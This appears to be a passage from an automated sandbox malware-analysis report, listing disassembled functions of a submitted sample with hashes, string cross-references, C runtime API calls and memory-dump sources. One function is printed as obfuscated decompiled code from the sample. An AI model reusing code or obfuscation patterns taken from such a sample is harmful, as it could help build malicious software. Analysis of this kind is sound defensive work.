Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: F8113F79A00208EFDB01DF98CA85E98BBF5AF08751F0580A5F9499B362D371EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 008E092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 008E095F
GetProcAddress., xrefs: 008E09DC, 008E09DF, 008E09E4
l, xrefs: 008E0966

Memory Dump Source

Source File: 00000000.00000002.393488044.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: cdedc162baa1972bee2ead311df70c660c072511291a2a76be42c5d48dc46e9b
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 68314BB6900649DFDB10CF99C880AADBBF5FF49324F24454AD441E7212D7B1EA85CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 004014DF Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

PPPP, xrefs: 004015E9

Memory Dump Source

Source File: 00000000.00000002.393063490.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: PPPP
API String ID: 0-1462104750
Opcode ID: c9c0241cd0afcbd3fd31c594775fe31887d42f61bb82ab006a020ba5247fe7de
Instruction ID: 42034d581ce3fc54d6be9e219e9e8320d81d709d73c932a33cf25b948e6a08f8
Opcode Fuzzy Hash: c9c0241cd0afcbd3fd31c594775fe31887d42f61bb82ab006a020ba5247fe7de
Instruction Fuzzy Hash: 38418EF2019A827FE3124F20DC5ACFB7B7DD94921130886CAF894DB952C6595895C7F3

Uniqueness

Uniqueness Score: -1.00%

Function 00402351 Relevance: .1, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E00402351(void* __eax, intOrPtr* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t36;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t41;
				void* _t42;
				signed int _t43;
				signed int _t44;
				signed int _t45;
				signed int _t46;
				signed char _t47;
				signed int _t50;
				signed int _t51;
				signed int _t52;
				signed int _t53;
				signed char _t54;
				void* _t70;
				void* _t72;
				void* _t77;
				void* _t79;
				void* _t81;
				void* _t82;

				_t79 = __esi;
				_t70 = __edx;
				_pop(_t84);
				asm("fst qword [0x9c2ddd94]");
				_t72 = __eax + 0x3af0294;
				_push(_t72);
				_t36 = __edi - 1;
				_push(_t36);
				_push(_t36);
				_t37 = _t72;
				ss = _t36;
				_push(_t37);
				_push(_t37);
				asm("fst dword [edi]");
				_t38 = _t37;
				_t39 = _t36;
				ss = _t37;
				asm("adc [eax+0x50], dl");
				ss = _t39;
				_t41 = _t38 + 1;
				_push(_t41);
				_push(_t41);
				_push(_t41);
				_t42 = _t39;
				ss = _t41;
				_push(_t42);
				_push(_t42);
				_push(_t42);
				es = _t42;
				_t43 = _t42 + 0xc3af02b4;
				asm("fcom qword [eax+0x50]");
				asm("aad 0x90");
				_t77 = _t43;
				asm("aad 0x96");
				_push(_t43);
				_push(_t43);
				_push(_t43);
				_push(__edx);
				asm("scasd");
				_t44 = _t43 & 0xc0c3afb4;
				_push(_t44);
				_push(_t44);
				_push(_t44);
				 *0xd45f50bc =  *0xd45f50bc >> __ecx;
				asm("repe push eax");
				_push(_t44);
				_push(_t44);
				asm("scasd");
				_t45 = _t44 & 0xaf103abc;
				_t82 = _t81 +  *((intOrPtr*)(_t45 - 0x27));
				asm("adc eax, 0xbc05dda4");
				asm("movsb");
				_t46 = _t45 & 0xc0c3afb4;
				_push(_t46);
				_push(_t46);
				_push(_t46);
				asm("aad 0x90");
				_t47 = _t46 & 0xbc2dd329;
				_push(_t47);
				asm("fist dword [0x4410dba4]");
				asm("fst dword [0x6baf61a8]");
				_t50 = (_t47 & 0x00000023) - 0xdd3323a8 + 0x503a02bc;
				es = _t50;
				asm("scasd");
				_t51 = _t50 & 0xc4c3afb4;
				_push(_t51);
				_push(_t51);
				_push(_t51);
				 *0x162450bc =  *0x162450bc >> __ecx +  *((intOrPtr*)(_t77 + 0x25afbc25));
				asm("rcl dword [0x25af52bc], cl");
				_push(0xdda015d9);
				_t52 = _t51 + 0x25af02bc;
				es = _t52;
				asm("scasd");
				_t53 = _t52 & 0xc4c3afb4;
				_push(_t53);
				_push(_t53);
				_push(_t53);
				asm("aad 0x90");
				_t54 = _t53 & 0xbc2dd347;
				asm("fist dword [0x4010dda0]");
				 *__ebx =  *__ebx + (_t54 & 0x00000041);
				asm("aad 0x90");
				asm("scasd");
				ss = _t54;
				goto L1;
			}

0x00402351
0x00402351
0x00402356
0x00402357
0x0040235d
0x0040235e
0x0040235f
0x00402360
0x00402361
0x00402363
0x00402364
0x00402366
0x00402367
0x0040236a
0x0040236c
0x0040236d
0x0040236e
0x00402370
0x00402375
0x00402376
0x00402377
0x00402378
0x00402379
0x0040237b
0x0040237c
0x0040237e
0x0040237f
0x00402380
0x00402382
0x00402386
0x0040238b
0x0040238f
0x00402391
0x00402392
0x00402394
0x00402395
0x00402396
0x004023a0
0x004023a1
0x004023a2
0x004023a7
0x004023a8
0x004023a9
0x004023aa
0x004023b0
0x004023b2
0x004023b3
0x004023b4
0x004023b5
0x004023ba
0x004023bd
0x004023c8
0x004023cc
0x004023d1
0x004023d2
0x004023d3
0x004023d4
0x004023d6
0x004023db
0x004023de
0x004023e4
0x004023ef
0x004023f8
0x004023f9
0x004023fa
0x004023ff
0x00402400
0x00402401
0x00402402
0x00402408
0x00402413
0x00402418
0x00402423
0x00402424
0x00402425
0x0040242a
0x0040242b
0x0040242c
0x0040242d
0x0040242f
0x00402437
0x0040243d
0x00402444
0x00402448
0x0040244e
0x0040244f

Memory Dump Source

Source File: 00000000.00000002.393063490.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb95eb28c3ea5ceec2e3033c146810c6e2f5aab3d7c853bbb481ccd21ba1313a
Instruction ID: c5558df752f303d9b12da3b49636c5f29c6388f54a3b64fc1eef45c3947951cf
Opcode Fuzzy Hash: cb95eb28c3ea5ceec2e3033c146810c6e2f5aab3d7c853bbb481ccd21ba1313a
Instruction Fuzzy Hash: 63417AF311AA857FF3118A94EC4ADFB7B2CD5681393084485FD40DB403C268C8A18BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00ADE461 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.393850787.0000000000ADA000.00000040.00000020.00020000.00000000.sdmp, Offset: 00ADA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ada000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: a2634b24c9485ec83f03c2fe69857020af705fbb1a03c49319da61f39e3705e5
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: F6113CB2340100AFD754EF55DC91EA673EAEB89760B298066E909CB316E676EC41C760

Uniqueness

Uniqueness Score: -1.00%

Function 008E0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.393488044.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 23439d3d4ffcdd20b015cb4a32c1dc45c499a3f49ee1cd82cf41c2e57b70cb86
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 7001F272B006458FDF21CF61CC04BAA33E5FB87306F1549B4D90AD7281E3B0A8818F80

Uniqueness

Uniqueness Score: -1.00%

Function 00402072 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.393063490.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13551ef71cb1a6f447fbd5480a6cb103b1654af51dbb33939e4de5ef2e619886
Instruction ID: 1d2253bcee00caf847626527a2ca008675ce4aadaffea8765609509fba5c1da7
Opcode Fuzzy Hash: 13551ef71cb1a6f447fbd5480a6cb103b1654af51dbb33939e4de5ef2e619886
Instruction Fuzzy Hash: 80D022B2864CA0AFEB006210CC1896B7FAC8C15210708C080B801E9119C30810218BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00401EFD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.393063490.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c4fbf70458648bca6f8a21e4b213d349669eb636f4c34a3048d8fef98564362
Instruction ID: 19ab161c9d805c9666a3c863c0cbb36cd8fc6fea7ed9fd7909dadc4bd56c9e04
Opcode Fuzzy Hash: 2c4fbf70458648bca6f8a21e4b213d349669eb636f4c34a3048d8fef98564362
Instruction Fuzzy Hash: 48D022B2804CA4AFEB006600CC149AB7FAD8C14310B08C040B801E5119C3091026CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0041C68E Relevance: 51.2, APIs: 25, Strings: 4, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0041C6D2
_wcscat_s.LIBCMTD ref: 0041C8EA

Part of subcall function 00421870: __invalid_parameter.LIBCMTD ref: 004218E2

__invoke_watson_if_error.LIBCMTD ref: 0041C8F3

Part of subcall function 0040DBB0: __invoke_watson.LIBCMTD ref: 0040DBD1

_wcscat_s.LIBCMTD ref: 0041C922

Part of subcall function 00421870: _memset.LIBCMT ref: 0042194B
Part of subcall function 00421870: __invalid_parameter.LIBCMTD ref: 004219A7

__invoke_watson_if_error.LIBCMTD ref: 0041C92B
__snwprintf_s.LIBCMTD ref: 0041C984

Part of subcall function 0041BFE0: __vsnprintf_s_l.LIBCMTD ref: 0041C002

__invoke_watson_if_oneof.LIBCMTD ref: 0041C9BD
_wcscpy_s.LIBCMTD ref: 0041CA02
__invoke_watson_if_error.LIBCMTD ref: 0041CA0B
__cftoe.LIBCMTD ref: 0041CA7F
__invoke_watson_if_oneof.LIBCMTD ref: 0041CAAE
_wcscpy_s.LIBCMTD ref: 0041CAE6
__invoke_watson_if_error.LIBCMTD ref: 0041CAEF
__itow_s.LIBCMTD ref: 0041C6C9

Part of subcall function 00426280: _xtow_s@20.LIBCMTD ref: 004262AB

__strftime_l.LIBCMTD ref: 0041C789
__invoke_watson_if_oneof.LIBCMTD ref: 0041C7C2
_wcscpy_s.LIBCMTD ref: 0041C807
__invoke_watson_if_error.LIBCMTD ref: 0041C810
_wcscpy_s.LIBCMTD ref: 0041C863
__invoke_watson_if_error.LIBCMTD ref: 0041C86C
_wcscat_s.LIBCMTD ref: 0041C89D
__invoke_watson_if_error.LIBCMTD ref: 0041C8A6

Strings

D\@, xrefs: 0041C850, 0041C856
h8[@, xrefs: 0041C885
t8j, xrefs: 0041CABD
t9j, xrefs: 0041CD15

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: D\@$h8[@$t8j$t9j
API String ID: 2582952045-1301031898
Opcode ID: 963918345a5cea4fbaf53f1cdc3ec32826e5a9e8d9fda7234b9d1b0d275853c1
Instruction ID: 81cb0e77b3d8f54e285990afbedf65501065806c0b51db69b0645a4e9e5a5e59
Opcode Fuzzy Hash: 963918345a5cea4fbaf53f1cdc3ec32826e5a9e8d9fda7234b9d1b0d275853c1
Instruction Fuzzy Hash: D80293B0E80714AADB20EF50DC8ABDF7774AB44705F5440AAF608762C1E7B85AC4CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004247F9 Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424888
_get_int64_arg.LIBCMTD ref: 004248B0
__aullrem.LIBCMT ref: 00424A55
__aulldiv.LIBCMT ref: 00424A77
_write_multi_char.LIBCMTD ref: 00424B7E
_write_string.LIBCMTD ref: 00424B99
_write_multi_char.LIBCMTD ref: 00424BC5
_wctomb_s.LIBCMTD ref: 00424C42

Strings

9, xrefs: 00424A88
-, xrefs: 00424B1E

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: 73748dadc7ea5df593242549316a037bffe645614e081454c675fba9bebad1a7
Instruction ID: a721a5725b6536229582cc34f6c4b56e6aafc0d91daa9a2dae563fcae3e2e464
Opcode Fuzzy Hash: 73748dadc7ea5df593242549316a037bffe645614e081454c675fba9bebad1a7
Instruction Fuzzy Hash: 9BF14BB1E012298FDB24CF58DC99BAEB7B1FB84304F5481DAD419A7281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042D3BB Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D450
_get_int64_arg.LIBCMTD ref: 0042D478
__aullrem.LIBCMT ref: 0042D620
__aulldiv.LIBCMT ref: 0042D642
_write_multi_char.LIBCMTD ref: 0042D75B
_write_string.LIBCMTD ref: 0042D776
_write_multi_char.LIBCMTD ref: 0042D7A2
__mbtowc_l.LIBCMTD ref: 0042D811

Strings

9, xrefs: 0042D653

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: 530e62bac20449fc3ef16af2ea562a2331bce4f960ca9bf1045f95520d08cb73
Instruction ID: 87f28a10b6e7806872ac3917b900aa704c7eb3b4201bc77d767262b33af21855
Opcode Fuzzy Hash: 530e62bac20449fc3ef16af2ea562a2331bce4f960ca9bf1045f95520d08cb73
Instruction Fuzzy Hash: FDF16CB1E002299FDF24DF58DC81BAEB7B1BF85304F54419AE109A7241D778AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004266F3 Relevance: 25.8, APIs: 17, Instructions: 296COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042673B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00426771
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00426792
wcsncnt.LIBCMTD ref: 004267C9
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042682F
_wcslen.LIBCMTD ref: 00426A3F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00426A4D

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_wcslenwcsncnt
String ID:
API String ID: 1043867012-0
Opcode ID: fc4f0b37faa7f4946a6c5e9665ee82d9b71174bf5f156293fab80b3a31791081
Instruction ID: 7f75a814af551cf217c73b50f5ce39038cad51a7708300b5ccdc52a67e21c884
Opcode Fuzzy Hash: fc4f0b37faa7f4946a6c5e9665ee82d9b71174bf5f156293fab80b3a31791081
Instruction Fuzzy Hash: 84D12775A00218DFCB08DF94D894BEEB7B1FF85304F60C55AE4126B290DB38AE86DB55

Uniqueness

Uniqueness Score: -1.00%

Function 00424557 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042455B
__get_printf_count_output.LIBCMTD ref: 00424569
__invalid_parameter.LIBCMTD ref: 004245F0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00424605
_write_multi_char.LIBCMTD ref: 00424B7E
_write_string.LIBCMTD ref: 00424B99
_write_multi_char.LIBCMTD ref: 00424BC5
_wctomb_s.LIBCMTD ref: 00424C42

Strings

-, xrefs: 00424B1E

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: d2fd1506c183ec86f59f6aee48fb561d843edaa370c390d2ac749d9266cd7004
Instruction ID: 09383132ef6e3c52153bc865bd17f4b6936478b15fe0a08a49ab86f91775dfed
Opcode Fuzzy Hash: d2fd1506c183ec86f59f6aee48fb561d843edaa370c390d2ac749d9266cd7004
Instruction Fuzzy Hash: F8A18C70E012298BDB24DF59DC49BAEB7B0EB84305F5481DAE1197B281D778AEC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004243A5 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 004243A9
_strlen.LIBCMT ref: 004243D9
_write_multi_char.LIBCMTD ref: 00424B7E
_write_string.LIBCMTD ref: 00424B99
_write_multi_char.LIBCMTD ref: 00424BC5
_wctomb_s.LIBCMTD ref: 00424C42

Strings

-, xrefs: 00424B1E
I@, xrefs: 004243CC

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$I@
API String ID: 2232461714-3662616159
Opcode ID: b90edc0dd67873a46fb1e450923df1b85a198be6749e91246d4e8f32b64ca383
Instruction ID: 5ec596e28ab0c3aa775cf153b4b3aa9d0c12d7adbd6da2cb22896ffdfecb352a
Opcode Fuzzy Hash: b90edc0dd67873a46fb1e450923df1b85a198be6749e91246d4e8f32b64ca383
Instruction Fuzzy Hash: 3CA18F74E012298FDB24CF55DC49BEEB7B0EB84305F5481DAD0196B291D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042CF44 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042CF48
_strlen.LIBCMT ref: 0042CF78
_write_multi_char.LIBCMTD ref: 0042D75B
_write_string.LIBCMTD ref: 0042D776
_write_multi_char.LIBCMTD ref: 0042D7A2
__mbtowc_l.LIBCMTD ref: 0042D811

Strings

I@, xrefs: 0042CF6B

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: I@
API String ID: 909868375-3008766272
Opcode ID: bdc4d86da8d88b5b5718f13726f58a4a428b353c620a23b57c7518ac54c68adc
Instruction ID: d366eb7533becbb983f167f1ee50d388e2ade4eaaeb98245f0a6ae04be7ed831
Opcode Fuzzy Hash: bdc4d86da8d88b5b5718f13726f58a4a428b353c620a23b57c7518ac54c68adc
Instruction Fuzzy Hash: 3FA181B0E002289FDB24DF55DC81BAEB7B5BF44304F54819AE61967282D738AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042D11A Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042D11E
__get_printf_count_output.LIBCMTD ref: 0042D12C
__invalid_parameter.LIBCMTD ref: 0042D1B3
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042D1C8
_write_multi_char.LIBCMTD ref: 0042D75B
_write_string.LIBCMTD ref: 0042D776
_write_multi_char.LIBCMTD ref: 0042D7A2
__mbtowc_l.LIBCMTD ref: 0042D811

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
Opcode ID: f607765c8f2682145a9edb787064b82d444e2ed9b0f04ad2e4101b47de9843e8
Instruction ID: 08d3cf6121706dbf829b6d05311f1c81cf8396b18442ce7c14708cc00a2cbdda
Opcode Fuzzy Hash: f607765c8f2682145a9edb787064b82d444e2ed9b0f04ad2e4101b47de9843e8
Instruction Fuzzy Hash: 61A1AFF0E002289BDB24DF55DC85BAEB774AF84304F50419AE6197B282D778AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00419BB7 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 100windowCOMMON

Download Yara Rule

APIs

__snwprintf_s.LIBCMTD ref: 00419C5B
__invoke_watson_if_oneof.LIBCMTD ref: 00419C8E
_wcscpy_s.LIBCMTD ref: 00419CD0
__invoke_watson_if_error.LIBCMTD ref: 00419CD9
___crtMessageBoxW.LIBCMTD ref: 00419CF2
_raise.LIBCMTD ref: 00419D0B

Strings

`D@, xrefs: 00419C28, 00419C2E
^9@, xrefs: 00419BDF

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: ^9@$`D@
API String ID: 1485069716-273578848
Opcode ID: 61b2dbe9ec1f8faa36acc654127eec5d54c4783b504d953776bc1184599c36c0
Instruction ID: c0e6340a1cda6ef02aac5938a198a3969f3bcb851ff0069ec62fe23309543b73
Opcode Fuzzy Hash: 61b2dbe9ec1f8faa36acc654127eec5d54c4783b504d953776bc1184599c36c0
Instruction Fuzzy Hash: 7C316AB5A40218ABDB24DB91DC46FDA73B5BB58744F0041EAF308762C1D6B85EC08F99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C205 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0040C219
__CrtIsValidHeapPointer.LIBCMTD ref: 0040C2A5
_CheckBytes.LIBCMTD ref: 0040C350
_CheckBytes.LIBCMTD ref: 0040C40A
_memset.LIBCMT ref: 0040C501
__free_base.LIBCMTD ref: 0040C50D

Strings

tDj, xrefs: 0040C25B

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: tDj
API String ID: 25084783-2513116121
Opcode ID: 9e4933a0895b6ac6c0642c5811bf3db3a89f07ee418360bb71f795d539c2b335
Instruction ID: 75fa95f28e929d295a3ff20f1c5eafdc527d9d5b24bdd5c7b8f1c648dc88ba2b
Opcode Fuzzy Hash: 9e4933a0895b6ac6c0642c5811bf3db3a89f07ee418360bb71f795d539c2b335
Instruction Fuzzy Hash: C191B174A40204EBEB28DB84CDD2F6A7375AB44708F344269F604BB2C2D279EE41D79D

Uniqueness

Uniqueness Score: -1.00%

Function 00424827 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424888
__aullrem.LIBCMT ref: 00424A55
__aulldiv.LIBCMT ref: 00424A77

Strings

9, xrefs: 00424A88
', xrefs: 00424827
0, xrefs: 00424843

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 61ff73877e2c891499c3fb64a8486ea2c305938b2ba7b0e0e707b528870ff651
Instruction ID: 26c336a9f065971cb0d320951b209e2e278aa466309384de1234029c3de788cf
Opcode Fuzzy Hash: 61ff73877e2c891499c3fb64a8486ea2c305938b2ba7b0e0e707b528870ff651
Instruction Fuzzy Hash: B941F4B1E15229DFDB24CF58E899BAEB7B5FB84304F5481DAD448A7240C7389E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00417D28 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417D89
__aullrem.LIBCMT ref: 00417F56
__aulldiv.LIBCMT ref: 00417F78

Strings

9, xrefs: 00417F89
0, xrefs: 00417D44
', xrefs: 00417D28

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 0685f91b45cbdf0ca138cdfba6d584006a9b8105de1a8e68d10636028a782ff3
Instruction ID: 66da96a2bac71dcb13fa53c53b410c2ec7dc3b67ccd4c81c7949b8dad1257f88
Opcode Fuzzy Hash: 0685f91b45cbdf0ca138cdfba6d584006a9b8105de1a8e68d10636028a782ff3
Instruction Fuzzy Hash: AE41D3719082299FDB64CF58C989BEEB7B5BB84304F1445DAE409AB241C7389EC1CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00424814 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424888
__aullrem.LIBCMT ref: 00424A55
__aulldiv.LIBCMT ref: 00424A77

Strings

9, xrefs: 00424A88
0, xrefs: 00424843

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: adf89d3c19f081dca0014650f750430d885a7cf6bbcb9a16a6fa2b3a43d07e97
Instruction ID: 74cb3aa1fb84b278cd05ca6ea8a4370dc3a41d3c72b4f31d23988da057b4ed0c
Opcode Fuzzy Hash: adf89d3c19f081dca0014650f750430d885a7cf6bbcb9a16a6fa2b3a43d07e97
Instruction Fuzzy Hash: 114105B1E15228DFDB24CF58E889BAEBBB5FB84304F50819AD448A7240C7385E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00417D15 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417D89
__aullrem.LIBCMT ref: 00417F56
__aulldiv.LIBCMT ref: 00417F78

Strings

9, xrefs: 00417F89
0, xrefs: 00417D44

Memory Dump Source

Source File: 00000000.00000002.393105331.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 65d4fb54393684fd377d7b0f3d77692b0563070c7f279eb9e5d07005dacc9ba6
Instruction ID: e675631b09abcb4a3db81451e5924fefa61cd99c30674d547d3908986f46349b
